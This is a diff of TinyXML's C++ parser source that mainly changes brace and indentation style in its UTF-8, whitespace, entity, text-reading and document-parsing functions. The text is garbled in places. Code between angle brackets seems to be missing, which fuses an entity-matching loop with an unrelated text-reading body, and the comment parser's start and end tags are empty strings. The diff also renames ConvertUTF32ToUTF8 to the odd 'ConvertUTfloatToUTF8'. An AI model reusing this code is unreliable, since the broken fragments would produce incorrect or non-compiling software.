// 0 1 2 3 4 5 6 7 8 9 a b c d e f + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x00 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x10 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x20 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x30 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x40 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x50 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x60 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x70 End of ASCII range + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x80 0x80 to 0xc1 invalid + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x90 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0xa0 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0xb0 + 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // 0xc0 0xc2 to 0xdf 2 byte + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // 0xd0 + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, // 0xe0 0xe0 to 0xef 3 byte + 4, 4, 4, 4, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 // 0xf0 0xf0 to 0xf4 4 byte, 0xf5 and higher invalid }; -void TiXmlBase::ConvertUTF32ToUTF8( unsigned long input, char* output, int* length ) -{ - const unsigned long BYTE_MASK = 0xBF; - const unsigned long BYTE_MARK = 0x80; - const unsigned long FIRST_BYTE_MARK[7] = { 0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC }; +void TiXmlBase::ConvertUTfloatToUTF8( unsigned long input, char* output, int* length ) { + const unsigned long BYTE_MASK = 0xBF; + const unsigned long BYTE_MARK = 0x80; + const unsigned long FIRST_BYTE_MARK[7] = { 0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC }; - if (input < 0x80) - *length = 1; - else if ( input < 0x800 ) - *length = 2; - else if ( input < 0x10000 ) - *length = 3; - else if ( input < 0x200000 ) - *length = 4; - else - { *length = 0; return; } // This code won't covert this correctly anyway. + if (input < 0x80) + *length = 1; + else if ( input < 0x800 ) + *length = 2; + else if ( input < 0x10000 ) + *length = 3; + else if ( input < 0x200000 ) + *length = 4; + else { + *length = 0; // This code won't covert this correctly anyway. + return; + } - output += *length; + output += *length; - // Scary scary fall throughs. - switch (*length) - { - case 4: - --output; - *output = (char)((input | BYTE_MARK) & BYTE_MASK); - input >>= 6; - case 3: - --output; - *output = (char)((input | BYTE_MARK) & BYTE_MASK); - input >>= 6; - case 2: - --output; - *output = (char)((input | BYTE_MARK) & BYTE_MASK); - input >>= 6; - case 1: - --output; - *output = (char)(input | FIRST_BYTE_MARK[*length]); - } + // Scary scary fall throughs. + switch (*length) { + case 4: + --output; + *output = (char)((input | BYTE_MARK) & BYTE_MASK); + input >>= 6; + case 3: + --output; + *output = (char)((input | BYTE_MARK) & BYTE_MASK); + input >>= 6; + case 2: + --output; + *output = (char)((input | BYTE_MARK) & BYTE_MASK); + input >>= 6; + case 1: + --output; + *output = (char)(input | FIRST_BYTE_MARK[*length]); + } } -/*static*/ int TiXmlBase::IsAlpha( unsigned char anyByte, TiXmlEncoding /*encoding*/ ) -{ - // This will only work for low-ascii, everything else is assumed to be a valid - // letter. I'm not sure this is the best approach, but it is quite tricky trying - // to figure out alhabetical vs. not across encoding. So take a very - // conservative approach. +/*static*/ int TiXmlBase::IsAlpha( unsigned char anyByte, TiXmlEncoding /*encoding*/ ) { + // This will only work for low-ascii, everything else is assumed to be a valid + // letter. I'm not sure this is the best approach, but it is quite tricky trying + // to figure out alhabetical vs. not across encoding. So take a very + // conservative approach. // if ( encoding == TIXML_ENCODING_UTF8 ) // { - if ( anyByte < 127 ) - return isalpha( anyByte ); - else - return 1; // What else to do? The unicode set is huge...get the english ones right. + if ( anyByte < 127 ) + return isalpha( anyByte ); + else + return 1; // What else to do? The unicode set is huge...get the english ones right. // } // else // { @@ -147,19 +144,18 @@ void TiXmlBase::ConvertUTF32ToUTF8( unsigned long input, char* output, int* leng } -/*static*/ int TiXmlBase::IsAlphaNum( unsigned char anyByte, TiXmlEncoding /*encoding*/ ) -{ - // This will only work for low-ascii, everything else is assumed to be a valid - // letter. I'm not sure this is the best approach, but it is quite tricky trying - // to figure out alhabetical vs. not across encoding. So take a very - // conservative approach. +/*static*/ int TiXmlBase::IsAlphaNum( unsigned char anyByte, TiXmlEncoding /*encoding*/ ) { + // This will only work for low-ascii, everything else is assumed to be a valid + // letter. I'm not sure this is the best approach, but it is quite tricky trying + // to figure out alhabetical vs. not across encoding. So take a very + // conservative approach. // if ( encoding == TIXML_ENCODING_UTF8 ) // { - if ( anyByte < 127 ) - return isalnum( anyByte ); - else - return 1; // What else to do? The unicode set is huge...get the english ones right. + if ( anyByte < 127 ) + return isalnum( anyByte ); + else + return 1; // What else to do? The unicode set is huge...get the english ones right. // } // else // { @@ -168,1472 +164,1293 @@ void TiXmlBase::ConvertUTF32ToUTF8( unsigned long input, char* output, int* leng } -class TiXmlParsingData -{ - friend class TiXmlDocument; - public: - void Stamp( const char* now, TiXmlEncoding encoding ); +class TiXmlParsingData { + friend class TiXmlDocument; +public: + void Stamp( const char* now, TiXmlEncoding encoding ); - const TiXmlCursor& Cursor() const { return cursor; } + const TiXmlCursor& Cursor() const { + return cursor; + } - private: - // Only used by the document! - TiXmlParsingData( const char* start, int _tabsize, int row, int col ) - { - assert( start ); - stamp = start; - tabsize = _tabsize; - cursor.row = row; - cursor.col = col; - } +private: + // Only used by the document! + TiXmlParsingData( const char* start, int _tabsize, int row, int col ) { + assert( start ); + stamp = start; + tabsize = _tabsize; + cursor.row = row; + cursor.col = col; + } - TiXmlCursor cursor; - const char* stamp; - int tabsize; + TiXmlCursor cursor; + const char* stamp; + int tabsize; }; -void TiXmlParsingData::Stamp( const char* now, TiXmlEncoding encoding ) -{ - assert( now ); +void TiXmlParsingData::Stamp( const char* now, TiXmlEncoding encoding ) { + assert( now ); - // Do nothing if the tabsize is 0. - if ( tabsize < 1 ) - { - return; - } + // Do nothing if the tabsize is 0. + if ( tabsize < 1 ) { + return; + } - // Get the current row, column. - int row = cursor.row; - int col = cursor.col; - const char* p = stamp; - assert( p ); + // Get the current row, column. + int row = cursor.row; + int col = cursor.col; + const char* p = stamp; + assert( p ); - while ( p < now ) - { - // Treat p as unsigned, so we have a happy compiler. - const unsigned char* pU = (const unsigned char*)p; + while ( p < now ) { + // Treat p as unsigned, so we have a happy compiler. + const unsigned char* pU = (const unsigned char*)p; - // Code contributed by Fletcher Dunn: (modified by lee) - switch (*pU) { - case 0: - // We *should* never get here, but in case we do, don't - // advance past the terminating null character, ever - return; + // Code contributed by Fletcher Dunn: (modified by lee) + switch (*pU) { + case 0: + // We *should* never get here, but in case we do, don't + // advance past the terminating null character, ever + return; - case '\r': - // bump down to the next line - ++row; - col = 0; - // Eat the character - ++p; + case '\r': + // bump down to the next line + ++row; + col = 0; + // Eat the character + ++p; - // Check for \r\n sequence, and treat this as a single character - if (*p == '\n') { - ++p; - } - break; + // Check for \r\n sequence, and treat this as a single character + if (*p == '\n') { + ++p; + } + break; - case '\n': - // bump down to the next line - ++row; - col = 0; + case '\n': + // bump down to the next line + ++row; + col = 0; - // Eat the character - ++p; + // Eat the character + ++p; - // Check for \n\r sequence, and treat this as a single - // character. (Yes, this bizarre thing does occur still - // on some arcane platforms...) - if (*p == '\r') { - ++p; - } - break; + // Check for \n\r sequence, and treat this as a single + // character. (Yes, this bizarre thing does occur still + // on some arcane platforms...) + if (*p == '\r') { + ++p; + } + break; - case '\t': - // Eat the character - ++p; + case '\t': + // Eat the character + ++p; - // Skip to next tab stop - col = (col / tabsize + 1) * tabsize; - break; + // Skip to next tab stop + col = (col / tabsize + 1) * tabsize; + break; - case TIXML_UTF_LEAD_0: - if ( encoding == TIXML_ENCODING_UTF8 ) - { - if ( *(p+1) && *(p+2) ) - { - // In these cases, don't advance the column. These are - // 0-width spaces. - if ( *(pU+1)==TIXML_UTF_LEAD_1 && *(pU+2)==TIXML_UTF_LEAD_2 ) - p += 3; - else if ( *(pU+1)==0xbfU && *(pU+2)==0xbeU ) - p += 3; - else if ( *(pU+1)==0xbfU && *(pU+2)==0xbfU ) - p += 3; - else - { p +=3; ++col; } // A normal character. - } - } - else - { - ++p; - ++col; - } - break; + case TIXML_UTF_LEAD_0: + if ( encoding == TIXML_ENCODING_UTF8 ) { + if ( *(p+1) && *(p+2) ) { + // In these cases, don't advance the column. These are + // 0-width spaces. + if ( *(pU+1)==TIXML_UTF_LEAD_1 && *(pU+2)==TIXML_UTF_LEAD_2 ) + p += 3; + else if ( *(pU+1)==0xbfU && *(pU+2)==0xbeU ) + p += 3; + else if ( *(pU+1)==0xbfU && *(pU+2)==0xbfU ) + p += 3; + else { + p +=3; // A normal character. + ++col; + } + } + } else { + ++p; + ++col; + } + break; - default: - if ( encoding == TIXML_ENCODING_UTF8 ) - { - // Eat the 1 to 4 byte utf8 character. - int step = TiXmlBase::utf8ByteTable[*((const unsigned char*)p)]; - if ( step == 0 ) - step = 1; // Error case from bad encoding, but handle gracefully. - p += step; + default: + if ( encoding == TIXML_ENCODING_UTF8 ) { + // Eat the 1 to 4 byte utf8 character. + int step = TiXmlBase::utf8ByteTable[*((const unsigned char*)p)]; + if ( step == 0 ) + step = 1; // Error case from bad encoding, but handle gracefully. + p += step; - // Just advance one column, of course. - ++col; - } - else - { - ++p; - ++col; - } - break; - } - } - cursor.row = row; - cursor.col = col; - assert( cursor.row >= -1 ); - assert( cursor.col >= -1 ); - stamp = p; - assert( stamp ); + // Just advance one column, of course. + ++col; + } else { + ++p; + ++col; + } + break; + } + } + cursor.row = row; + cursor.col = col; + assert( cursor.row >= -1 ); + assert( cursor.col >= -1 ); + stamp = p; + assert( stamp ); } -const char* TiXmlBase::SkipWhiteSpace( const char* p, TiXmlEncoding encoding ) -{ - if ( !p || !*p ) - { - return 0; - } - if ( encoding == TIXML_ENCODING_UTF8 ) - { - while ( *p ) - { - const unsigned char* pU = (const unsigned char*)p; +const char* TiXmlBase::SkipWhiteSpace( const char* p, TiXmlEncoding encoding ) { + if ( !p || !*p ) { + return 0; + } + if ( encoding == TIXML_ENCODING_UTF8 ) { + while ( *p ) { + const unsigned char* pU = (const unsigned char*)p; - // Skip the stupid Microsoft UTF-8 Byte order marks - if ( *(pU+0)==TIXML_UTF_LEAD_0 - && *(pU+1)==TIXML_UTF_LEAD_1 - && *(pU+2)==TIXML_UTF_LEAD_2 ) - { - p += 3; - continue; - } - else if(*(pU+0)==TIXML_UTF_LEAD_0 - && *(pU+1)==0xbfU - && *(pU+2)==0xbeU ) - { - p += 3; - continue; - } - else if(*(pU+0)==TIXML_UTF_LEAD_0 - && *(pU+1)==0xbfU - && *(pU+2)==0xbfU ) - { - p += 3; - continue; - } + // Skip the stupid Microsoft UTF-8 Byte order marks + if ( *(pU+0)==TIXML_UTF_LEAD_0 + && *(pU+1)==TIXML_UTF_LEAD_1 + && *(pU+2)==TIXML_UTF_LEAD_2 ) { + p += 3; + continue; + } else if(*(pU+0)==TIXML_UTF_LEAD_0 + && *(pU+1)==0xbfU + && *(pU+2)==0xbeU ) { + p += 3; + continue; + } else if(*(pU+0)==TIXML_UTF_LEAD_0 + && *(pU+1)==0xbfU + && *(pU+2)==0xbfU ) { + p += 3; + continue; + } - if ( IsWhiteSpace( *p ) ) // Still using old rules for white space. - ++p; - else - break; - } - } - else - { - while ( *p && IsWhiteSpace( *p ) ) - ++p; - } + if ( IsWhiteSpace( *p ) ) // Still using old rules for white space. + ++p; + else + break; + } + } else { + while ( *p && IsWhiteSpace( *p ) ) + ++p; + } - return p; + return p; } #ifdef TIXML_USE_STL -/*static*/ bool TiXmlBase::StreamWhiteSpace( std::istream * in, TIXML_STRING * tag ) -{ - for( ;; ) - { - if ( !in->good() ) return false; +/*static*/ bool TiXmlBase::StreamWhiteSpace( std::istream * in, TIXML_STRING * tag ) { + for( ;; ) { + if ( !in->good() ) + return false; - int c = in->peek(); - // At this scope, we can't get to a document. So fail silently. - if ( !IsWhiteSpace( c ) || c <= 0 ) - return true; + int c = in->peek(); + // At this scope, we can't get to a document. So fail silently. + if ( !IsWhiteSpace( c ) || c <= 0 ) + return true; - *tag += (char) in->get(); - } + *tag += (char) in->get(); + } } -/*static*/ bool TiXmlBase::StreamTo( std::istream * in, int character, TIXML_STRING * tag ) -{ - //assert( character > 0 && character < 128 ); // else it won't work in utf-8 - while ( in->good() ) - { - int c = in->peek(); - if ( c == character ) - return true; - if ( c <= 0 ) // Silent failure: can't get document at this scope - return false; +/*static*/ bool TiXmlBase::StreamTo( std::istream * in, int character, TIXML_STRING * tag ) { + //assert( character > 0 && character < 128 ); // else it won't work in utf-8 + while ( in->good() ) { + int c = in->peek(); + if ( c == character ) + return true; + if ( c <= 0 ) // Silent failure: can't get document at this scope + return false; - in->get(); - *tag += (char) c; - } - return false; + in->get(); + *tag += (char) c; + } + return false; } #endif // One of TinyXML's more performance demanding functions. Try to keep the memory overhead down. The // "assign" optimization removes over 10% of the execution time. // -const char* TiXmlBase::ReadName( const char* p, TIXML_STRING * name, TiXmlEncoding encoding ) -{ - // Oddly, not supported on some comilers, - //name->clear(); - // So use this: - *name = ""; - assert( p ); +const char* TiXmlBase::ReadName( const char* p, TIXML_STRING * name, TiXmlEncoding encoding ) { + // Oddly, not supported on some comilers, + //name->clear(); + // So use this: + *name = ""; + assert( p ); - // Names start with letters or underscores. - // Of course, in unicode, tinyxml has no idea what a letter *is*. The - // algorithm is generous. - // - // After that, they can be letters, underscores, numbers, - // hyphens, or colons. (Colons are valid ony for namespaces, - // but tinyxml can't tell namespaces from names.) - if ( p && *p - && ( IsAlpha( (unsigned char) *p, encoding ) || *p == '_' ) ) - { - const char* start = p; - while( p && *p - && ( IsAlphaNum( (unsigned char ) *p, encoding ) - || *p == '_' - || *p == '-' - || *p == '.' - || *p == ':' ) ) - { - //(*name) += *p; // expensive - ++p; - } - if ( p-start > 0 ) { - name->assign( start, p-start ); - } - return p; - } - return 0; + // Names start with letters or underscores. + // Of course, in unicode, tinyxml has no idea what a letter *is*. The + // algorithm is generous. + // + // After that, they can be letters, underscores, numbers, + // hyphens, or colons. (Colons are valid ony for namespaces, + // but tinyxml can't tell namespaces from names.) + if ( p && *p + && ( IsAlpha( (unsigned char) *p, encoding ) || *p == '_' ) ) { + const char* start = p; + while( p && *p + && ( IsAlphaNum( (unsigned char ) *p, encoding ) + || *p == '_' + || *p == '-' + || *p == '.' + || *p == ':' ) ) { + //(*name) += *p; // expensive + ++p; + } + if ( p-start > 0 ) { + name->assign( start, p-start ); + } + return p; + } + return 0; } -const char* TiXmlBase::GetEntity( const char* p, char* value, int* length, TiXmlEncoding encoding ) -{ - // Presume an entity, and pull it out. - TIXML_STRING ent; - int i; - *length = 0; +const char* TiXmlBase::GetEntity( const char* p, char* value, int* length, TiXmlEncoding encoding ) { + // Presume an entity, and pull it out. + TIXML_STRING ent; + int i; + *length = 0; - if ( *(p+1) && *(p+1) == '#' && *(p+2) ) - { - unsigned long ucs = 0; - ptrdiff_t delta = 0; - unsigned mult = 1; + if ( *(p+1) && *(p+1) == '#' && *(p+2) ) { + unsigned long ucs = 0; + ptrdiff_t delta = 0; + unsigned mult = 1; - if ( *(p+2) == 'x' ) - { - // Hexadecimal. - if ( !*(p+3) ) return 0; + if ( *(p+2) == 'x' ) { + // Hexadecimal. + if ( !*(p+3) ) + return 0; - const char* q = p+3; - q = strchr( q, ';' ); + const char* q = p+3; + q = strchr( q, ';' ); - if ( !q || !*q ) return 0; + if ( !q || !*q ) + return 0; - delta = q-p; - --q; + delta = q-p; + --q; - while ( *q != 'x' ) - { - if ( *q >= '0' && *q <= '9' ) - ucs += mult * (*q - '0'); - else if ( *q >= 'a' && *q <= 'f' ) - ucs += mult * (*q - 'a' + 10); - else if ( *q >= 'A' && *q <= 'F' ) - ucs += mult * (*q - 'A' + 10 ); - else - return 0; - mult *= 16; - --q; - } - } - else - { - // Decimal. - if ( !*(p+2) ) return 0; + while ( *q != 'x' ) { + if ( *q >= '0' && *q <= '9' ) + ucs += mult * (*q - '0'); + else if ( *q >= 'a' && *q <= 'f' ) + ucs += mult * (*q - 'a' + 10); + else if ( *q >= 'A' && *q <= 'F' ) + ucs += mult * (*q - 'A' + 10 ); + else + return 0; + mult *= 16; + --q; + } + } else { + // Decimal. + if ( !*(p+2) ) + return 0; - const char* q = p+2; - q = strchr( q, ';' ); + const char* q = p+2; + q = strchr( q, ';' ); - if ( !q || !*q ) return 0; + if ( !q || !*q ) + return 0; - delta = q-p; - --q; + delta = q-p; + --q; - while ( *q != '#' ) - { - if ( *q >= '0' && *q <= '9' ) - ucs += mult * (*q - '0'); - else - return 0; - mult *= 10; - --q; - } - } - if ( encoding == TIXML_ENCODING_UTF8 ) - { - // convert the UCS to UTF-8 - ConvertUTF32ToUTF8( ucs, value, length ); - } - else - { - *value = (char)ucs; - *length = 1; - } - return p + delta + 1; - } + while ( *q != '#' ) { + if ( *q >= '0' && *q <= '9' ) + ucs += mult * (*q - '0'); + else + return 0; + mult *= 10; + --q; + } + } + if ( encoding == TIXML_ENCODING_UTF8 ) { + // convert the UCS to UTF-8 + ConvertUTfloatToUTF8( ucs, value, length ); + } else { + *value = (char)ucs; + *length = 1; + } + return p + delta + 1; + } - // Now try to match it. - for( i=0; iappend( cArr, len ); - } - } - else - { - bool whitespace = false; + TIXML_STRING * text, + bool trimWhiteSpace, + const char* endTag, + bool caseInsensitive, + TiXmlEncoding encoding ) { + *text = ""; + if ( !trimWhiteSpace // certain tags always keep whitespace + || !condenseWhiteSpace ) { // if true, whitespace is always kept + // Keep all the white space. + while ( p && *p + && !StringEqual( p, endTag, caseInsensitive, encoding ) + ) { + int len; + char cArr[4] = { 0, 0, 0, 0 }; + p = GetChar( p, cArr, &len, encoding ); + text->append( cArr, len ); + } + } else { + bool whitespace = false; - // Remove leading white space: - p = SkipWhiteSpace( p, encoding ); - while ( p && *p - && !StringEqual( p, endTag, caseInsensitive, encoding ) ) - { - if ( *p == '\r' || *p == '\n' ) - { - whitespace = true; - ++p; - } - else if ( IsWhiteSpace( *p ) ) - { - whitespace = true; - ++p; - } - else - { - // If we've found whitespace, add it before the - // new character. Any whitespace just becomes a space. - if ( whitespace ) - { - (*text) += ' '; - whitespace = false; - } - int len; - char cArr[4] = { 0, 0, 0, 0 }; - p = GetChar( p, cArr, &len, encoding ); - if ( len == 1 ) - (*text) += cArr[0]; // more efficient - else - text->append( cArr, len ); - } - } - } - if ( p && *p ) - p += strlen( endTag ); - return ( p && *p ) ? p : 0; + // Remove leading white space: + p = SkipWhiteSpace( p, encoding ); + while ( p && *p + && !StringEqual( p, endTag, caseInsensitive, encoding ) ) { + if ( *p == '\r' || *p == '\n' ) { + whitespace = true; + ++p; + } else if ( IsWhiteSpace( *p ) ) { + whitespace = true; + ++p; + } else { + // If we've found whitespace, add it before the + // new character. Any whitespace just becomes a space. + if ( whitespace ) { + (*text) += ' '; + whitespace = false; + } + int len; + char cArr[4] = { 0, 0, 0, 0 }; + p = GetChar( p, cArr, &len, encoding ); + if ( len == 1 ) + (*text) += cArr[0]; // more efficient + else + text->append( cArr, len ); + } + } + } + if ( p && *p ) + p += strlen( endTag ); + return ( p && *p ) ? p : 0; } #ifdef TIXML_USE_STL -void TiXmlDocument::StreamIn( std::istream * in, TIXML_STRING * tag ) -{ - // The basic issue with a document is that we don't know what we're - // streaming. Read something presumed to be a tag (and hope), then - // identify it, and call the appropriate stream method on the tag. - // - // This "pre-streaming" will never read the closing ">" so the - // sub-tag can orient itself. +void TiXmlDocument::StreamIn( std::istream * in, TIXML_STRING * tag ) { + // The basic issue with a document is that we don't know what we're + // streaming. Read something presumed to be a tag (and hope), then + // identify it, and call the appropriate stream method on the tag. + // + // This "pre-streaming" will never read the closing ">" so the + // sub-tag can orient itself. - if ( !StreamTo( in, '<', tag ) ) - { - SetError( TIXML_ERROR_PARSING_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return; - } + if ( !StreamTo( in, '<', tag ) ) { + SetError( TIXML_ERROR_PARSING_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } - while ( in->good() ) - { - int tagIndex = (int) tag->length(); - while ( in->good() && in->peek() != '>' ) - { - int c = in->get(); - if ( c <= 0 ) - { - SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); - break; - } - (*tag) += (char) c; - } + while ( in->good() ) { + int tagIndex = (int) tag->length(); + while ( in->good() && in->peek() != '>' ) { + int c = in->get(); + if ( c <= 0 ) { + SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); + break; + } + (*tag) += (char) c; + } - if ( in->good() ) - { - // We now have something we presume to be a node of - // some sort. Identify it, and call the node to - // continue streaming. - TiXmlNode* node = Identify( tag->c_str() + tagIndex, TIXML_DEFAULT_ENCODING ); + if ( in->good() ) { + // We now have something we presume to be a node of + // some sort. Identify it, and call the node to + // continue streaming. + TiXmlNode* node = Identify( tag->c_str() + tagIndex, TIXML_DEFAULT_ENCODING ); - if ( node ) - { - node->StreamIn( in, tag ); - bool isElement = node->ToElement() != 0; - delete node; - node = 0; + if ( node ) { + node->StreamIn( in, tag ); + bool isElement = node->ToElement() != 0; + delete node; + node = 0; - // If this is the root element, we're done. Parsing will be - // done by the >> operator. - if ( isElement ) - { - return; - } - } - else - { - SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); - return; - } - } - } - // We should have returned sooner. - SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); + // If this is the root element, we're done. Parsing will be + // done by the >> operator. + if ( isElement ) { + return; + } + } else { + SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } + } + } + // We should have returned sooner. + SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); } #endif -const char* TiXmlDocument::Parse( const char* p, TiXmlParsingData* prevData, TiXmlEncoding encoding ) -{ - ClearError(); +const char* TiXmlDocument::Parse( const char* p, TiXmlParsingData* prevData, TiXmlEncoding encoding ) { + ClearError(); - // Parse away, at the document level. Since a document - // contains nothing but other tags, most of what happens - // here is skipping white space. - if ( !p || !*p ) - { - SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } + // Parse away, at the document level. Since a document + // contains nothing but other tags, most of what happens + // here is skipping white space. + if ( !p || !*p ) { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } - // Note that, for a document, this needs to come - // before the while space skip, so that parsing - // starts from the pointer we are given. - location.Clear(); - if ( prevData ) - { - location.row = prevData->cursor.row; - location.col = prevData->cursor.col; - } - else - { - location.row = 0; - location.col = 0; - } - TiXmlParsingData data( p, TabSize(), location.row, location.col ); - location = data.Cursor(); + // Note that, for a document, this needs to come + // before the while space skip, so that parsing + // starts from the pointer we are given. + location.Clear(); + if ( prevData ) { + location.row = prevData->cursor.row; + location.col = prevData->cursor.col; + } else { + location.row = 0; + location.col = 0; + } + TiXmlParsingData data( p, TabSize(), location.row, location.col ); + location = data.Cursor(); - if ( encoding == TIXML_ENCODING_UNKNOWN ) - { - // Check for the Microsoft UTF-8 lead bytes. - const unsigned char* pU = (const unsigned char*)p; - if ( *(pU+0) && *(pU+0) == TIXML_UTF_LEAD_0 - && *(pU+1) && *(pU+1) == TIXML_UTF_LEAD_1 - && *(pU+2) && *(pU+2) == TIXML_UTF_LEAD_2 ) - { - encoding = TIXML_ENCODING_UTF8; - useMicrosoftBOM = true; - } - } + if ( encoding == TIXML_ENCODING_UNKNOWN ) { + // Check for the Microsoft UTF-8 lead bytes. + const unsigned char* pU = (const unsigned char*)p; + if ( *(pU+0) && *(pU+0) == TIXML_UTF_LEAD_0 + && *(pU+1) && *(pU+1) == TIXML_UTF_LEAD_1 + && *(pU+2) && *(pU+2) == TIXML_UTF_LEAD_2 ) { + encoding = TIXML_ENCODING_UTF8; + useMicrosoftBOM = true; + } + } - p = SkipWhiteSpace( p, encoding ); - if ( !p ) - { - SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); - return 0; - } + p = SkipWhiteSpace( p, encoding ); + if ( !p ) { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } - while ( p && *p ) - { - TiXmlNode* node = Identify( p, encoding ); - if ( node ) - { - p = node->Parse( p, &data, encoding ); - LinkEndChild( node ); - } - else - { - break; - } + while ( p && *p ) { + TiXmlNode* node = Identify( p, encoding ); + if ( node ) { + p = node->Parse( p, &data, encoding ); + LinkEndChild( node ); + } else { + break; + } - // Did we get encoding info? - if ( encoding == TIXML_ENCODING_UNKNOWN - && node->ToDeclaration() ) - { - TiXmlDeclaration* dec = node->ToDeclaration(); - const char* enc = dec->Encoding(); - assert( enc ); + // Did we get encoding info? + if ( encoding == TIXML_ENCODING_UNKNOWN + && node->ToDeclaration() ) { + TiXmlDeclaration* dec = node->ToDeclaration(); + const char* enc = dec->Encoding(); + assert( enc ); - if ( *enc == 0 ) - encoding = TIXML_ENCODING_UTF8; - else if ( StringEqual( enc, "UTF-8", true, TIXML_ENCODING_UNKNOWN ) ) - encoding = TIXML_ENCODING_UTF8; - else if ( StringEqual( enc, "UTF8", true, TIXML_ENCODING_UNKNOWN ) ) - encoding = TIXML_ENCODING_UTF8; // incorrect, but be nice - else - encoding = TIXML_ENCODING_LEGACY; - } + if ( *enc == 0 ) + encoding = TIXML_ENCODING_UTF8; + else if ( StringEqual( enc, "UTF-8", true, TIXML_ENCODING_UNKNOWN ) ) + encoding = TIXML_ENCODING_UTF8; + else if ( StringEqual( enc, "UTF8", true, TIXML_ENCODING_UNKNOWN ) ) + encoding = TIXML_ENCODING_UTF8; // incorrect, but be nice + else + encoding = TIXML_ENCODING_LEGACY; + } - p = SkipWhiteSpace( p, encoding ); - } + p = SkipWhiteSpace( p, encoding ); + } - // Was this empty? - if ( !firstChild ) { - SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, encoding ); - return 0; - } + // Was this empty? + if ( !firstChild ) { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, encoding ); + return 0; + } - // All is well. - return p; + // All is well. + return p; } -void TiXmlDocument::SetError( int err, const char* pError, TiXmlParsingData* data, TiXmlEncoding encoding ) -{ - // The first error in a chain is more accurate - don't set again! - if ( error ) - return; +void TiXmlDocument::SetError( int err, const char* pError, TiXmlParsingData* data, TiXmlEncoding encoding ) { + // The first error in a chain is more accurate - don't set again! + if ( error ) + return; - assert( err > 0 && err < TIXML_ERROR_STRING_COUNT ); - error = true; - errorId = err; - errorDesc = errorString[ errorId ]; + assert( err > 0 && err < TIXML_ERROR_STRING_COUNT ); + error = true; + errorId = err; + errorDesc = errorString[ errorId ]; - errorLocation.Clear(); - if ( pError && data ) - { - data->Stamp( pError, encoding ); - errorLocation = data->Cursor(); - } + errorLocation.Clear(); + if ( pError && data ) { + data->Stamp( pError, encoding ); + errorLocation = data->Cursor(); + } } -TiXmlNode* TiXmlNode::Identify( const char* p, TiXmlEncoding encoding ) -{ - TiXmlNode* returnNode = 0; +TiXmlNode* TiXmlNode::Identify( const char* p, TiXmlEncoding encoding ) { + TiXmlNode* returnNode = 0; - p = SkipWhiteSpace( p, encoding ); - if( !p || !*p || *p != '<' ) - { - return 0; - } + p = SkipWhiteSpace( p, encoding ); + if( !p || !*p || *p != '<' ) { + return 0; + } - p = SkipWhiteSpace( p, encoding ); + p = SkipWhiteSpace( p, encoding ); - if ( !p || !*p ) - { - return 0; - } + if ( !p || !*p ) { + return 0; + } - // What is this thing? - // - Elements start with a letter or underscore, but xml is reserved. - // - Comments: "; + if ( data ) { + data->Stamp( p, encoding ); + location = data->Cursor(); + } + const char* startTag = ""; - if ( !StringEqual( p, startTag, false, encoding ) ) - { - if ( document ) - document->SetError( TIXML_ERROR_PARSING_COMMENT, p, data, encoding ); - return 0; - } - p += strlen( startTag ); + if ( !StringEqual( p, startTag, false, encoding ) ) { + if ( document ) + document->SetError( TIXML_ERROR_PARSING_COMMENT, p, data, encoding ); + return 0; + } + p += strlen( startTag ); - // [ 1475201 ] TinyXML parses entities in comments - // Oops - ReadText doesn't work, because we don't want to parse the entities. - // p = ReadText( p, &value, false, endTag, false, encoding ); - // - // from the XML spec: - /* - [Definition: Comments may appear anywhere in a document outside other markup; in addition, - they may appear within the document type declaration at places allowed by the grammar. - They are not part of the document's character data; an XML processor MAY, but need not, - make it possible for an application to retrieve the text of comments. For compatibility, - the string "--" (double-hyphen) MUST NOT occur within comments.] Parameter entity - references MUST NOT be recognized within comments. + // [ 1475201 ] TinyXML parses entities in comments + // Oops - ReadText doesn't work, because we don't want to parse the entities. 